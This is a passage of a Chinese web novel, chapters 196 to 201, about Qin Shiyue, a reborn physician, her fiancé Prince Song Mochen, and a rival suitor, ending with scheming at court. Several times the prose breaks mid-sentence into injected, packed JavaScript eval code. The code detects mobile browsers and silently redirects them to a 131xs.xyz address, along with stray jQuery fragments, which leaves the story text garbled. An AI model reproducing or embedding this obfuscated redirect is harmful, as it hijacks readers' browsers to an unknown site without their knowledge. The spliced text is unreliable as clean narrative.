她抬眸扫过围观的众人,缓缓开口,“各位如此义愤填膺,可是亲眼见过人是我杀的?又有谁能拿出证据,证明我手段阴毒?” 众人被她这么一问,顿了一下,但很快又有人站了出来。 “就,就算我们不是亲眼见到你**,可你不是和辰王有婚约在身吗?现在竟然大庭广众和其他男人调笑,你的脸面呢?” “就是,这明月县主也太不知检点了,还说什么济世救人,我看就是徒有虚名!” “害,还不是仗着救驾有功,认定这世上无人能拿她怎么样呗……” 人群中立刻有**声附和。 褚良才站在一边垂着头,拳头紧紧攥着,肩膀也不断颤抖,似乎被气的说不出话。 可实际上,他却是装的。 他很想看看,面对这群刁民,她会,怎么自救。 秦时月的嘴角微微勾起,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893307|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹似有似无的笑意,眼神格外锐利的看向出声的几人。 “各位,我与辰王的婚约是陛下亲赐,你们就算不怕我,也该知道,皇权不可侵犯!至于说我与褚公子调笑……我与褚公子不过是正常的商业伙伴,这里还有外人,何来调笑一说!?” 她稍稍停顿,目光从每个人脸上扫过,继续说道:“再者,说我徒有虚名,我这段时间在京中施药救人,不仅从未收取过半分钱财,救治过的,更是犹如过江之鲫。倒是你们,仅凭一些无端的谣言就对我肆意指责,这又是什么道理!?” 人群中开始有些人露出犹豫之色,似乎被秦时月的话所触动。 甚至有了为她分辨的声音。 “明月县主说的是,我婆母前些日子卧床不起,其他大夫都没什么办法,可明月县主出手,不出两日,我那婆母竟然就能下床了。” “没错没错,我家日子紧,小虎子病了没钱医治,是明月县主免费给我们治的,要不是她,我家小虎子怕是活不到今年这个冬天……” “县主是活菩萨!我相信县主!” 见话头有反转,秦时月面色不变,褚良才眼底的兴味倒是更足了些。 他抬起头,一脸怒意,“够了!” “我与县主清清白白,容不得你们造谣!你们要是再不散开,我就,我就报官了!” 众人听到报官,顿时担心不已,没一会儿就散了大半,不多时,他们面前就没了外人。 秦时月挑眉扫了他一眼,并没有开口。 这褚良才有趣,方才一言不发,现在事情出现了转机,他倒是第一个站了出来,就是不知,他刚刚的沉默,是有意,还是无意的。 …… 宋墨辰从宫里出来后直奔医馆。 平时这个时间,秦时月都会在医馆坐诊,可当他到医馆后却发现,秦时月不在。 奇怪,去哪里了? 伙计见宋墨辰前来,立即将秦时月和褚良才出去一事禀报给宋墨辰。 宋墨辰听完,顿时有了情绪。 第196章 解除怀疑 又是这个褚良才,他究竟想做什么? 不仅三天两头往医馆跑,如今还把秦时月带出了医馆! 就在宋墨辰转身想要外出寻找秦时月时,秦时月和褚良才有说有笑地走了过来。 看到两人相谈甚欢的模样,宋墨辰的心中突然涌出一股酸涩。 这两人怎么回事?竟然穿了同样的蓝色衣服! 他想都没想,径直走过去打断了两人的对话。 “时月。”宋墨辰温柔地唤了一声,然后挤进了两人中间。 虽然他见过褚良才,也派人调查过他的底细,但这还是两人第一次面对面。 “这位是?”宋墨辰故意问道,并拉近自己和秦时月的距离。 看样子,宋墨辰更像在宣示**。 面对突如其来出现的男人,褚良才故作意外,然后礼貌地对宋墨辰行了个礼,随后往旁边挪了一步。 辰王……呵,他没必要在这个时候惹怒这位杀神。 “这位是褚良才褚公子。”秦时月介绍道,随后看向褚良才说道:“这位便是我的未婚夫婿,辰王,宋墨辰。” 听到秦时月这样介绍自己,宋墨辰心头一喜,顿时高傲地仰起脖子挺起胸膛。 “辰王。”褚良才恭敬地唤了一声。 他垂着头,眼里多了一丝敌意,但再抬头,面上依旧是那副文质彬彬的模样。 “褚公子。”宋墨辰笑了一下,“你们这是从何处回来?” “是在下想要与药材商做生意,秦小姐带我去转了转,帮我牵线搭桥。”褚良才解释。 宋墨辰没接话,显然,他并不愿与褚良才多说。 他总觉得褚良才不简单,若不是自己事务繁忙,怎么可能会给他这样的机会。 宋墨辰突然伸出手,牵住了秦时月的手,秦时月心中好笑,没有拒绝。 她知道,宋墨辰这是吃醋了。 “辰王放心,在下与秦小姐,只是生意往来。”褚良才立即解释。 “嗯。”宋墨辰冷哼一声。 褚良才能感觉到宋墨辰对自己的反感,正好,他也不喜欢看他们二人亲密。 作了个揖,他道:“在下还有事,就先行一步了。” 看来褚良才是个识趣的。 宋墨辰眸光犯冷,心情却是好了些。 若是他再不走,宋墨辰怕是会让人直接赶人。 “他的手那么废吗?要不,派个太医给他瞧瞧?”宋墨辰盯着褚良才的背影,意味不明。 “你这是不相信我的医术吗?”秦时月抬头,似笑非笑的看向宋墨辰。 闻言,宋墨辰立即低头,面上带笑,“没有没有,我哪敢啊,我这不是担心他是另有所图嘛。” “应该不是。”秦时月双手抱胸,思考道:“我带他去了一家会掺假货售卖的药材商那里,他一眼就能分辨出来,想来应该是真的商人。” “不聊了他了。”宋墨辰有点不悦,“我早上没吃饭,现下也要中午了,我带你去天香楼吃饭,可好?” “嗯。”秦时月笑着点头。 这男人,真是……有趣。 说完,秦时月直接跳上宋墨辰的马车,见宋墨辰没有跟上自己的脚步,秦时月将头探出去,一脸疑惑地望着他,“你在看什么,上车呀。” 宋墨辰的视线停留在褚良才离开的方向,不知道为什么,他总感觉褚良才离开的方向,并不寻常。 “来了。”宋墨辰摇了摇头没有多想,走上马车。 马车内,两人对立而坐,他主动将今天在朝堂上的事情讲给秦时月听,并发表了一下自己的见解,而秦时月则是若有所思。 不一会儿,车子就行驶到了天香楼。 宋墨辰和秦时月一前一后走入专属包间,小厮立即上菜。 望着一桌子菜肴,秦时月拿起筷子便开始吃。 忙活了一天,她也没好好吃顿饭。 “那个褚良才,我感觉……” 不等宋墨辰说完话,秦时月却摆了摆手,打断他的发言,“我会留意的,咱们俩吃饭,就不要提他了。” “好吧。”宋墨辰叹了口气,将到嘴边的话又咽了下去。 秦时月看出他的失落,主动给他夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898290|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜,“尝尝,今儿个大煮干丝与平日的不同,天香楼是换厨子了吗?” “对,换了个厨子。” “什么时候换的?”秦时月疑惑,“我怎么不知道?” “昨晚刚换的,所以才带时月来尝尝。”宋墨辰笑着起身,走到身后的柜子边,从柜子里取出两个琉璃夜光杯,随后到了两杯红色液体。 “尝尝,是从西域进贡来的葡萄酒。”宋墨辰将酒杯放到桌上,随后推到秦时月面前。 望着面前的葡萄酒,秦时月笑了一下。 上一世,成为鬼魂后,她从秦可云的嘴里听说过葡萄酒,那时候她就在想,若是能尝尝味道也好。 没想到这一世,她竟真的有机会品尝了。 秦时月端起酒杯轻抿一口,眼前顿时一亮。 果然好喝,只可惜,靖垣王朝造不出来。 “喜欢吗?”宋墨辰的视线始终在秦时月的表情上。 “不错,你们皇室之人可真会享受。” “都给月月。”宋墨辰将那一瓶酒放到秦时月身侧。 秦时月却摇了摇头,笑道:“一瓶,不够,想必西域不可能只进贡一瓶吧。” 言外之意,她要得更多。 宋墨辰明白秦时月的意思,他低头笑了笑,“本王懂了。” 就在这时,包间门突然被敲响,宋墨辰收敛了笑容,他冷着脸问道:“什么事。” 他和下人吩咐过,当自己和秦时月在一起吃饭时,不许来打扰自己,这人怎么如此不识抬举。 “王爷,不好了,楼下有人**。”掌柜的在门外急得团团转。 “进来。”宋墨辰语气严厉,眼神中多了一丝被打扰的怒意。 掌柜的小心翼翼地将门打开,跨入房间,跪在宋墨辰身侧,“有个客人喝多了,打伤了人,王爷,您看这事要怎处理?” 若换作平时,掌柜的自己就能处理,可奈何那个吃多了酒的男子自称是某侯府家的公子,他拿不定主意,才大着胆子前来询问。 不等宋墨辰说话,秦时月站起身,问道:“有人受伤了?” 第197章 又是那个死绿茶 “是。”掌柜的回禀。 “我去看看。”秦时月二话没说,直接向门外走去。 医者仁心,她应该出手的。 况且秦时月也想看看,是谁那么大胆,竟然敢在天香楼耍酒疯。 见秦时月出去,宋墨辰跟着起身,端着桌上的酒杯,走到门外,站在栏杆处居高临下的注视着一楼的动静。 只见一位身穿蓝衣的男子趴在一楼大厅内,他旁边站一个束发公子,那公子手里拿着酒壶,不停地往蓝衣男子身上浇。 “敢惹小爷,那就去给小爷死!” 说完,男子直接抬脚,往蓝衣男子的腿上踹去。 千钧一发之际,秦时月及时出现,她站在楼梯上喊了一声,“慢着!” 束发男子转过身,不屑地看了秦时月一眼,加重了脚上的力度。 秦时月脚下速度飞快,不过眨眼就冲到二人面前,随后拔出头上的簪子,对着男子的腿狠狠刺去。 簪子插入男子大腿的那一刻,他吃痛的没站稳,直接倒了下去。 下一秒,秦时月立即跑来,伸手扶起地上的人。 这时,秦时月才发现,面前的人竟是褚良才。 他不是回家了?怎么会出现在天香楼? “秦,秦小姐。”褚良才虚弱地出声。 “褚公子,你怎么在这儿?”秦时月惊讶。 不等褚良才回答,束发男子将自己大腿上的簪子拔出,愤怒地冲秦时月跑来,“你这个**敢伤我,你知道我是谁吗!?我要让你在京城里吃不了兜着走!” 说完,束发男子便要动手责打秦时月,褚良才不顾有伤在身,立即将秦时月护在身后。 天香楼的小二则是迅速将束发男子控制住。 秦时月深吸一口气,压抑住心中的愤怒,她先将褚良才扶到一边坐下,然后走到束发男子身边,结结实实给了他一巴掌。 “那你知道我是谁吗?” “你是谁?” “啪!”又是一巴掌。 既然不认识自己,那就好办了。 只见秦时月抬脚,避开众人的视线,悄悄踩上束发男子的手背,最后蹲下,冷冷注视着他。 “把他送去见官。” 说完,小二立即将束发男子扭送出去。 做完这些后,秦时月回到褚良才身旁,关心地看着他,眼里充满了紧张。 “身上的伤没事吧,还有哪里疼?”秦时月问道。 “让秦小姐担心了,都是在下的不是。”褚良才挤出一丝苦笑,整个人虚弱至极。 站在二楼窗边的宋墨辰,亲眼目睹了这一切,他气愤地握紧了手中的杯子,直接捏碎。 这个褚良才怎么回事?怎么哪都有他?真是该死! 侍书见宋墨辰脸色突变,他下意识地朝楼下看了一眼。 紧接着,他便冲了下去。 此时,秦时月正要将褚良才扶起来,打算送人去医馆。 “王妃,我来吧。”侍书将剑别在腰间,伸出手主动将褚良才扶起来,“是送医馆吗?” 见侍书跑下来,秦时月才想起宋墨辰还在楼上,今日来是和宋墨辰吃饭的,眼下饭还没吃完,她可不能随意离开。 “是,那就辛苦你走一趟了。” “王妃这是哪里话。”侍书笑了笑,突然想起宋墨辰的手,“王妃,我家主子受伤了,烦请您去看看。” 他是故意这般称呼的,为是,是提醒褚良才注意身份! 什么,宋墨辰受伤了? “怎么伤的?”秦时月疑惑。 侍书没有说话,他可不敢说宋墨辰是因为吃醋捏碎了杯子,从而受的伤。 见侍书不语,秦时月点点头,“我这就去,你把褚公子送到医馆即可,医馆内有大夫坐诊。” 褚良才的眼睛暗了暗,有气无力地说道:“多谢这位公子了……” 不等褚良才说完,侍书扶着他便往外走去,而秦时月则是转身前往二楼的方向。 褚良才看了看侍书,又偷偷看了看秦时月,眼睛一转。 就在秦时月踏上楼梯的那一刻,褚良才突然往旁边倒了下去。 侍书没想到褚良才这么重,自己竟然会扶不稳。 他作为宋墨辰的侍卫,不应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898291|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连这点力气都没有。 所以,褚良才是故意的! 侍书拧眉看着褚良才,眼底闪过一丝恼怒。 “啊!”褚良才吃痛,喊了一声。 刚走上楼梯的秦时月听到声音后立即回头。 只见褚良才四仰八叉地倒在天香楼门口,而侍书站在一旁,不予理会。 看那架势,似乎并不打算将人扶起来。 秦时月叹了口气,再次走下楼梯来到褚良才身边。 “怎么回事?” 见秦时月前来,侍书刚想说话就被褚良才打断。 “都是在下的不是,是在下没看清门槛才摔倒了,与这位公子无关。”褚良才一脸委屈地低下头,眼里带着紧张又害怕无助的神情。 “王妃,是他自己倒下的。”侍书冷哼一声,恭敬道。 褚良才没有再开口,只是那微微颤抖的肩膀,更增添了几分……不可信。 秦时月头疼地抬起手,用手扶额。 她知道侍书是宋墨辰的人,他如今这样做八成是误会了自己,才会欺负褚良才。 她无语地闭了闭眼,突然有种无力感。 在秦时月看来,褚良才本就因为自己受了伤,如今又在天香楼内遭此一遭,将人送到医馆救治是理所应当的,也不知侍书是怎么想的。 “王妃,你去看我家主子吧,我现在就送公子离开。” 说完,侍书撇撇嘴,强压下心底的不愿再次抬手,打算将褚良才背到自己身上。 “算了,让小二去吧。”秦时月却出言打断。 不等侍书说话,秦时月挥了挥手,示意小二将褚良才送到医馆。 见褚良才被送走后,秦时月这才上了楼,回到包间。 打开房间门的那一刻,一股血腥味扑面而来。 下一秒,秦时月发现了满手是血的宋墨辰。 “宋墨辰……”秦时月紧张地唤了一句,神色凝重地望着宋墨辰手上的右手。 宋墨辰神情不变,狭长幽暗的眸子看了一眼秦时月,下意识地攥紧手,将右手藏到了袖子里,随后假装漫不在意地靠在了窗边。 第198章 接吻 见状,侍书识趣的房间门关上,守在了门口。 秦时月看着窗边被捏碎的杯子,又看了看满地的鲜血,只是一瞬间,她便猜出了屋内发生了什么。 她皱皱眉,从腰间拿出一瓶金疮药,然后走到宋墨辰身旁,示意宋墨辰把右手伸出来。 但宋墨辰却没有动,只是居高临下的看着她,突然凑近,故意说道:“怎么上来了?下面的事情都处理完了?” “手。”秦时月抬眸瞪他一眼,冷冷地说道。 奈何宋墨辰依旧嘴硬,“要是你没法处理,就让影卫去。” “再说一次,手!”秦时月有些恼怒。 可宋墨辰依旧不为所动,毕竟他可不想被秦时月知道,自己因为吃醋,捏碎了杯子,从而划伤了右手。 再怎么说,他也是英明一世的战神。 见宋墨辰这般,秦时月无语地叹了口气,二话不说,直接伸手将宋墨辰的右手拽了出来。 只见他的右手手心处,有一道吓人的口子,那伤口还在往外渗着血,虽然手掌处的皮肤代谢快,但若是伤口不及时处理,依旧会留疤。 “你给他涂过……”宋墨辰刚想说话,却意识到自己不该说,撇了撇嘴,闭上了。 他想说,这药秦时月给褚良才涂抹过,他不想用。 “没有给任何人用过,这是专为你一人调配的。”秦时月无奈的觑了他一眼,然后打开药瓶,将药膏均匀的涂在宋墨辰的手心。 他常年征战沙场,秦时月能帮到他的地方不多,所以研制出了这瓶特效金疮药。 此药止血效果出奇,外抹可止血,内服可治内伤,毫不夸张的说,有了这瓶要,只要人不死,她都能给救回来! 听到这话,宋墨辰瞬间开心,嘴角勾起一抹倨傲又得意的笑容。 “毕竟这瓶金疮药太贵,一般人负担不起,只有身为王爷的你能买得起。”秦时月见他心情好些,故意说道。 宋墨辰宠溺地看向她,道:“那本王便把你药铺中所有的药都买下来,不许你给褚良才用,可好?” 不就是钱嘛,他最不缺的就是钱了。 “王爷是认真的?”秦时月笑了笑,将金疮药放下,紧接着抽出怀里的手帕,给宋墨辰包扎。 “本王同时月说的每一句话都是认真的。” “王爷可真霸道。”秦时月表情温和,眉眼带笑。 她喜欢这样的他,但她却不会依附于他。 有了上一世的结局,她清楚自己要的是什么,她不要做丛笼中的金丝雀,她要做悬崖边独一无二的凌霄花,要做翱翔九天的凰! 她要她和宋墨辰,从来都是并肩而立的! “我知道,你们女子都喜欢褚良才那般温温柔柔的公子,喜欢他衣袂飘飘的模样,喜欢他身上的书卷气。”宋墨辰不愿提,但又忍不住酸道。 “什么?”秦时月没听清宋墨辰的话,疑惑地蹙起眉头。 奇怪,为什么空气中有一股酸酸的醋味,自己研制的金创药可并没有加醋。 “话本子里不都是那么说的?翩翩君子,淑女好逑,倘若褚良才不是商人,是个状元郎,怕是他的身边会有各式各样的千金小姐。” 听完宋墨辰这些话,秦时月不解地看着他。 这都什么跟什么?宋墨辰为什么突然说这些话,他先前可不是这样的,难不成受到了褚良才的刺激。 “月月见到新鲜面孔,喜欢他也是理所应当的。” 现在,秦时月可以确定,宋墨辰是吃醋了,吃褚良才的醋。 自己选的未婚夫,只能哄着了。 她莞尔一笑,拉着他坐下,顺势坐到了他的腿上。 面对如此亲密举动,宋墨辰愣住,瞳孔放大,震惊地看着她。 不等宋墨辰说话,秦时月抬起手,主动揽上宋墨辰的脖子。 纤纤玉臂,淡淡的桃花香,让他整个人瞬间陷入温柔乡中。 这香气似是**,让宋墨辰整个人晕乎乎的,什么都思考不了。 “可我就喜欢王爷这样的。”秦时月直视着他讳莫如深的眸子,视线不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他以为是自己刚刚太过用力,给了时月不好的体验? 想到有这种可能,他的脸色立即变得担心起来。 第199章 很久很久以前就认识了 不等秦时月说话,宋墨辰立即起身走到秦时月身旁坐下,他面色凝重地望着秦时月的唇角。 都怪他太激动,竟然把秦时月的唇亲的都泛红了…… “是我不好,我没克制住。那个,让侍书去找太医过来看看吧。”为了缓解尴尬,他清清嗓子,道。 “你忘啦,我自己就是医者。”秦时月羞涩的拉住宋墨辰的衣袖,叫停了他的步伐。 他们现在的情况,外人一看就知道有问题,这种事,怎么好意思让别人知道。 “那你想问什么?”宋墨辰反手拉住她,问道。 “你是不是有个玉佩?”秦时月问道。 刚刚在接吻时,她意外碰到了他腰间的硬物,这让她突然想起前世,她借玉佩重生的事,所以,下意识问到。 “你这都知道?”宋墨辰笑了一下,毫不犹豫的将腰间的玉佩扯下来,直接塞到了秦时月手中,“这是本王贴身之物,月月收了,就要对本王负责啊。” 见到玉佩的那一刻,秦时月不敢置信地瞪大了眼,她下意识地抬手,正要抢过玉佩查看,听到他的话,明显顿了一下。 察觉到她的迟疑,宋墨辰皱皱眉,紧张的将玉佩强硬的塞进她的手中,然后紧紧包裹住了她的小手。 他,不许她退缩! 面对他孩子气的模样,秦时月无奈一笑。 玉佩上雕刻着一个精致的太极图案,分开,便是前世令她重生的半枚玉佩。 只不过,此时这玉佩的正中间多了一道浅浅的裂痕。 她记得上一世是没有的。 难不成是自己重生导致的? “这块玉佩……你是从哪得到的?”秦时月抬眸,眼眶泛红,眼底透着几分急切。 见秦时月神色不对,宋墨辰立即收敛笑容,认真回答,“这块玉佩是我从小就带在身上的。” 什么? 从小戴在身上。 也就是说,这枚玉佩并无什么特别的地方? 她将玉佩翻来覆去的看了看,突然脑袋一疼,蓦的昏厥过去。 昏迷中,她的脑海里断断续续闪现出几幅画面。 一片被血色浸透的战场,断戟残旗在狂风中摇晃,画面中央,一个身穿玄色盔甲,浑身血色,面如杀神的男人正持枪与敌人厮杀。 画面一转,刚从尸山血海里踏出来的男子竟来到了佛堂,他微微弓着背,双手合十抵在额间,姿态虔诚得跪在潦草的蒲团上,神情悲切绝望,看着就让人痛心。 他面前是蒙尘的泥塑佛像,明明香火早已断绝,但他看着佛像的眼神,却像是看着唯一的救赎。 “我一生杀人如麻。”他的声音中带着未散的血腥气,“不信轮回,不惧鬼神,从不相信因果报应,他们说,我手上的血够下十八层地狱……可我不在乎。” “我这辈子,没求过谁,可她不能有事。” “佛祖,我愿以魂魄为祭,换她安然无恙,重生归来……” 画面开始晃动,像被投入水中的墨滴。 秦时月正想抓住些什么,那男人忽然抬起头,额前被血液黏连在一起的发丝被风吹开,露出完整的眉眼。 “宋墨辰!”她突然惊醒,眼尾一道水痕,湿了宋墨辰的衣袂。 “月月,你怎么了!?”宋墨辰担忧不已。 刚刚人还好好的,不知怎么突然晕了过去,他堪堪接住她跌落的身子,还没反应过来,她就被惊醒了。 “宋墨辰,我们是不是,很久之前就见过……”秦时月泪眼朦胧的看着他,抬手轻抚上男人好看的眉眼,眼神复杂。 她终于明白她为什么会重生了,因为刚刚的一切不是梦,是前世。 是这个男人,赌上了他的魂魄,才换取了她的一线生机。 见秦时月提起,宋墨辰刮刮她的鼻头,“对啊,我们很久很久以前就认识了。” 望着宋墨辰的眉眼,秦时月的思绪渐渐回到了儿时。 那时,她刚刚过完五岁生辰不久,意外在家门口撞见了一个身上带血,面色苍白的小男孩。 那男孩身穿着锦衣华服,与秦时月身上的粗布麻衣形成了鲜明的对比,路过的大人怕惹上事,对小男孩不予理睬。 秦时月不顾男孩的挣扎、防备,硬生生将他背回了自家柴房。 当时的秦顺强还只是一个穷秀才,秦家并没有什么钱,家里的开销都要仰仗卓静的嫁妆,秦时月不敢和他们说男孩的事,可她手上又没有钱为他看病。 无奈之下,仅有五岁的秦时月竟偷了母亲的首饰去医馆请了大夫。 幸好小男孩伤得不重,大夫给开了药,又细细包扎叮嘱一番才离开。 这日之后,秦时月便担负起了照顾男孩的责任。 可纸终究是包不住火的,家里丢失首饰的事很快被发现,秦顺强抓住她就是一顿毒打。 她被痛打一顿,却依旧没供出小男孩。 次日,她强忍疼痛,像往常那样来给小男孩送吃食,并和他分享镇子上的趣事…… 回忆结束,秦时月抬眸,仔细端详宋墨辰的眉眼。 他的眉眼间竟与记忆中小男孩的眉眼重叠,一个疯狂的念头涌上心头。 “你,是我五岁时遇到的男孩?”秦时月问道。 “是我。”宋墨辰点头,“你终于记起我了。” 从宋墨辰被秦时月带回家治伤的那一刻,他的心里眼里就都是秦时月了。 当他从门缝里看到秦时月为了他被爹娘打的时候,他就在心里发誓,长大后一定要娶秦时月,护她一世周全。 “你为什么不早点来找我,不早点告诉我这些?”秦时月泪水决堤,声音也染上几分沙哑。 如果她能早点知道,或许上一世,他们的结局就会是另一种结果了。 “我不是没找过你。当年我病好后离开,在宫中养病两年,再去,那里已经换了人家。我一直在找你的下落,但始终没有,十三岁那年,边关震荡,满朝无人可用,我便去投军了,这一走,就是五年。”宋墨辰一脸深情地看着她,眼神苦涩。 “我回来后发现,京中多了一个长乐侯府,一个柔弱不能自理的小丫头因为救皇后受了重伤,被送到江南老家养伤。我当时就猜到那丫头一定是你,只有你,心思那样善良,单纯。” 第200章 闭环 他抱着她,神情平静,“我本打算先请赐婚圣旨,然后去江南陪着你,谁知边关突生变故,不得已,我再次挂帅出征,再回京时我却发现,你竟与定远侯府陆明昭,有了婚约。” 他挣扎过,颓败过。 可最后,一切的一切,都抵不过秦时月的快乐,所以,他在没有任何皇命的情况下,主动提出驻守边关,并决定这一生,都不再回来。 只是,他才走不久便听到了一个让他久久不能平静的消息。 陆明昭当众退亲,求娶长乐侯府养女秦可云。 知道她受了天大的委屈,可也正是陆明昭的退亲,让他看到了一丝希望,他几乎马不停蹄的赶了回来,就是为了,将秦时月牢牢锁在身边! 听完这些,秦时月哭的不能自己。 一切都对上了,与上一世,所有的一切都对上了。 除了,她重生的节点,让她看清了家人、秦可云和陆明昭的为人,从而改变了之后的结局。 她不敢想象,如果宋墨辰的自杀没有换来自己的重生,那他们两个人,是不是就永远错过了? 不过,幸好老天开眼,让她重生了,还让她遇见了东方苑,学到了很多这个朝代没有的知识。 幸好这一世,她没有错过宋墨辰。 她,爱他。 “怎么哭了。”宋墨辰心疼的抬手,轻轻擦去秦时月眼角的泪水,问到。 “没,没事。”秦时月摇头,面色带笑,“我就是太感动了,谢谢你等了我那么多年。” “是我应该谢谢你,谢谢你走到我身边。”宋墨辰张开双臂,抱的更紧。 “宋墨辰,我爱你,生生世世,我都不会离开你。”秦时月闭上双眼,安心的趴在他怀里,道。 这一世,没有任何人能阻止她的幸福,没有任何可以抢走属于她的人。 “好,我们生生世世都在一起。”宋墨辰感动。 他没想到,只是一个玉佩就能让秦时月回想起儿时的一切,更没想到,她竟然那么爱自己,还同自己说了这些话。 早知如此,他该早点把玉佩拿出来的。 虽然两人在一起经历了很多,早就心有所彼此,但这还是宋墨辰第一次感觉如此安心。 “以后不要瞒我了,有什么事就告诉我,如果是我忘记的事情,你一定要提醒我。”秦时月抬起眼,深情地望着他。 如果不是这枚玉佩,如果不是她看到了梦中的场景、想起了儿时的事,她不知道,自己还要过多久才能想起宋墨辰,才能和他打开心扉。 “好,都是我的不是,我以后一定对月月知无不言。”宋墨辰笑了一下,抬手揉了揉她的脑袋。 秦时月紧紧搂着他的劲腰,享受着这一刻的温存。 下一秒,她突然抬头,看着宋墨辰的唇踮起脚,直接吻了上去。 宋墨辰没想到秦时月会吻自己,一时间有些吃惊,不自觉地往后倒去,秦时月顺势扶住他的头,将人摁在了榻上。 “月月,我们还没大婚呢。”宋墨辰喘着气,墨玉般的眸子里带着浓浓的情欲,但嘴上,却故意重复她说过的话。 “不可以吗?”秦时月心跳如鼓,媚眼如丝的看着他,学着他的样子反问。 “当然可以,只要月月想。”宋墨辰喉结滚动,突然抬头,加深了这个吻。 重活一世,一切都不一样了。 这一世的秦时月不再贪恋于亲情,在她放弃了那些微不足道的亲情后,她得到了比亲情更重要的东西,更重要的人。 回顾上一世,秦时月就觉的后悔,为什么上一世她没早点想起宋墨辰,为什么上一世自己被困在后宅,到死都不知反抗? “月月为何一直盯着本王看?”宋墨辰强压下欲念,故意扯开了话题。 但那骨节修长的大手却不受控制的勾住她的下巴,往他面前勾了勾。 “因为我们家辰王殿下英俊潇洒,风流倜傥呀。”秦时月吐了吐舌头,露出了一个俏皮的表情。 此刻秦时月想起了自己被关在柴房的经历,那时的她孤立无援,身边连个可以说话的人都没有,更别说向外界求救了。 每天生活在暗无天日的地方,只有老鼠和苍蝇同她做伴。 直到到惨死在秦可云和亲生母亲手中,成为侯府的一缕鬼魂。 可她是幸运的,有宋墨辰,有东方苑。 “月月,我总感觉你的眼睛里藏了很多秘密,这些秘密可以和我说说吗?”宋墨辰的眸子里多了几分心疼。 秦时月摇了摇头,说道:“还不是时候,时机成熟,我会告诉你的,放心。” 这一世,我只信任你。 她认真的看着他冷峻的眉眼,在心里暗道。 两人四目相视,宋墨辰将秦时月扶起来,自己坐直。 虽然他们郎有情妾有意,但毕竟还没大婚,该守的规矩还是遵守的,刚刚差点,差点他就忍不住了。 幸好他自制力强,控制住了自己。 秦时月不知道的是,上一世,在她死后,发生了很多事…… 宋墨辰得知秦时月的死讯后扔下边关的一切,跑死了几匹汗血宝马,疯了似的赶回来。 他原本以为秦时月在京城会衣食无忧,会与陆明昭恩爱白头,会过得十分舒心,所以宋墨辰才会选择退出,成全秦时月。 可他没想到,自己的退出却让秦时月葬送了性命,若是时光能重来,他绝对不许自己出城。 当宋墨辰风尘仆仆赶回京城时,秦时月早已入土,他拼了命地调查秦时月在京城的过往,这才得知,秦时月活得并不好。 甚至,她是被凌辱而死。 得知这一切的宋墨辰大开杀戒,将欺负过秦时月的人全部杀死。 此事震惊朝野,文武百官上书弹劾,要求皇帝处死宋墨辰。 而宋墨辰并没有为自己辩解,没了秦时月,他,早就不想活了。 他知道秦时月不喜欢被困在长乐侯府后院,所以下朝后,他做的第一件事便是跑到秦家,冲进秦家祠堂,抱走了秦时月沾满血渍的灵位。 最后,他抱着秦时月的灵位,自刎在秦时月最喜欢的梅花树下。 宋墨辰的鲜血溅在玉佩上,强光迸裂,誓言得到印证,秦时月……借玉佩重生。 第201章 阴险的老登 皇宫,明德殿。 皇上抬手捏着眉心,脸色难看的厉害。 杨太师起初还算给力,谁知道这段时间雷声大雨点小,已经半个多月了,不仅没有搬倒宋墨辰、秦时月,现在还把自己搭进去了,真是不堪重用! “陛下,喝点参汤吧。” 江福德这段时间将皇上的急切看在眼里,心里也忍不住着急。 以前,几个殿下之间能相互制衡,所有人都在为一个目标表现自己,皇上只需在旁笑看风起云涌,就能稳坐钓鱼台。 可如今,死的死残的残,剩下的不是年幼不足以自保,就是能力不足。 现下在朝堂上,辰王一家独大,压得死死的 好不容易杨太师敢站出来,却是个不堪重用的,皇上的处境越来越艰难。 “哼,这参汤喝了又有何用,能解朕的心头之忧吗!?”皇上不耐烦地挥了挥手,江福德赶忙端着参汤退到了一旁。 “江福德,你说朕是不是老了?如今连个毛头小子都对付不了?”皇上靠在龙椅上,眼神有一瞬间的恍惚。 不知从什么时候,那个总是仰望自己的儿子已经成长成了可以随时能对他亮出獠牙的猛虎。 那个小时候乖巧懂事,聪明伶俐,自己也曾寄予厚望的孩子,成了他无法掌控的,对皇位有了威胁的存在…… “陛下,何出此言呐?您春秋正盛。”江福德赶忙赔着笑说道。 “说得好听,春秋正盛?如今朕就像是被架空的一具空壳,你今日也看到了,朝堂上,所有人都唯宋墨辰马首是瞻!”皇上冷哼一声,眼底闪过一丝杀意。 